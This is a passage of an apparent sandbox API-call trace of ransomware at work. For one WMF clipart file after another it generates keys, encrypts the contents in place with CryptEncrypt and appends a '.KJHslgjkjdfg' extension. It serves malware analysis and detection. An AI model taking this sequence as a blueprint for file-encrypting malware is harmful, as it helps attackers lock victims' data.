ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0199.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.630] GetProcessHeap () returned 0x990000 [0199.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.630] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.630] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.631] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.631] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.631] GetProcessHeap () returned 0x990000 [0199.631] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.631] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.632] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.632] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.632] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.632] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.632] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.632] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1314, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1314, lpOverlapped=0x0) returned 1 [0199.635] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1320, dwBufLen=0x1320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1320) returned 1 [0199.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.636] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1320, lpOverlapped=0x0) returned 1 [0199.641] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.641] SetEndOfFile (hFile=0x130) returned 1 [0199.641] GetProcessHeap () returned 0x990000 [0199.641] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.641] GetProcessHeap () returned 0x990000 [0199.641] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.kjhslgjkjdfg")) returned 1 [0199.643] CloseHandle (hObject=0x130) returned 1 [0199.643] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0199.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.644] GetProcessHeap () returned 0x990000 [0199.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.644] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.647] GetProcessHeap () returned 0x990000 [0199.647] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.647] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.647] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.647] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.647] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.647] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.647] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1418, lpOverlapped=0x0) returned 1 [0199.648] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1420, dwBufLen=0x1420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1420) returned 1 [0199.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.649] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1420, lpOverlapped=0x0) returned 1 [0199.650] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.650] SetEndOfFile (hFile=0x130) returned 1 [0199.652] GetProcessHeap () returned 0x990000 [0199.652] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.652] GetProcessHeap () returned 0x990000 [0199.652] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.kjhslgjkjdfg")) returned 1 [0199.654] CloseHandle (hObject=0x130) returned 1 [0199.654] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0199.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.655] GetProcessHeap () returned 0x990000 [0199.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.655] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.655] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.657] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.657] GetProcessHeap () returned 0x990000 [0199.657] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.657] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.657] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.657] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.657] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.657] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.658] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.658] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.658] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1998, lpOverlapped=0x0) returned 1 [0199.658] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19a0) returned 1 [0199.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.659] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19a0, lpOverlapped=0x0) returned 1 [0199.659] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.659] SetEndOfFile (hFile=0x130) returned 1 [0199.661] GetProcessHeap () returned 0x990000 [0199.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.661] GetProcessHeap () returned 0x990000 [0199.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.kjhslgjkjdfg")) returned 1 [0199.662] CloseHandle (hObject=0x130) returned 1 [0199.662] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0199.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.664] GetProcessHeap () returned 0x990000 [0199.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.664] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.664] GetProcessHeap () returned 0x990000 [0199.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.664] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.664] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.664] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.667] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.667] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.668] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.668] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c40, lpOverlapped=0x0) returned 1 [0199.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c40) returned 1 [0199.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.670] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c40, lpOverlapped=0x0) returned 1 [0199.670] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.670] SetEndOfFile (hFile=0x130) returned 1 [0199.672] GetProcessHeap () returned 0x990000 [0199.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.672] GetProcessHeap () returned 0x990000 [0199.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.kjhslgjkjdfg")) returned 1 [0199.674] CloseHandle (hObject=0x130) returned 1 [0199.674] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0199.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.677] GetProcessHeap () returned 0x990000 [0199.677] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.677] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.677] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.679] GetProcessHeap () returned 0x990000 [0199.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: 